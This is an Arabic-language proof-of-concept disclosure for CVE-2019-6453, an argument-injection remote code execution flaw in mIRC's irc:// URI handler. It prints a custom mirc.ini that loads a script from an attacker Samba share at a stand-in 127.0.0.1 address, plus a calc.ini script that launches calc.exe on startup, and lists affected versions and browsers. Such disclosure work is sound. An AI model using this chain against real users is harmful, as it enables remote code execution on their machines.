
إثبات تشغيل calc لـ CVE-2019-6453
وجدنا ثغرة تنفيذ تعليمات برمجية عن بُعد في mIRC عبر معالج بروتوكول URI irc://. ولأن mIRC لا يستخدم أي نوع من الرموز مثل -- لتحديد نهاية قائمة الوسائط، يمكن للمهاجم تمرير وسائط إلى mIRC عبر رابط irc:// وتنفيذ تعليمات برمجية عشوائية عن طريق تحميل ملف mirc.ini مخصص من خادم Samba يتحكم فيه المهاجم. يُرجى ملاحظة أن ircs:// يعمل بنفس الطريقة.
يتطلب إثبات المفهوم ثلاثة ملفات: mirc.ini وcalc.ini وpoc.html. نفترض أن خادم Samba يعمل على جانب المهاجم. من أجل هذا المثال، تفترض الأجزاء البرمجية التالية أنه يعمل على المضيف 127.0.0.1 (أي استبدل 127.0.0.1 بعنوان خادمك الخاص في الملفات التالية لتجربة ذلك).
mirc.ini هو ملف إعدادات مخصص يجب أن يكون موجودًا في المسار C:\mirc-poc\mirc.ini على خادم الملفات.
[rfiles]
n2=\\127.0.0.1\C$\mirc-poc\calc.ini
calc.ini هو ملف سكربت بعيد يجب أن يكون موجودًا في المسار C:\mirc-poc\calc.ini على خادم الملفات.
[script]
n0=on *:START: {
n1= /run calc.exe
n2=}
مجرد زيارة poc.html يجب أن ينجح بافتراض أن mIRC معيّن كمعالج افتراضي لمخطط URI irc:// وأن المتصفح لا يرمّز الحمولة. اعتمادًا على المتصفح وإعداداتك، قد تظهر لك رسالة مطالبة (ليس هذا هو الحال في Firefox).

يعمل إثبات المفهوم هذا على mIRC <7.55.
يمكنك تشغيل إثبات المفهوم على Edge 42.17134 (آخر إصدار معاينة) وFirefox 64.0.2 (آخر إصدار). لا يعمل على Chrome بسبب طريقة تعامل Chrome مع بروتوكولات URI (يتم ترميز URI قبل تمريره إلى التطبيق).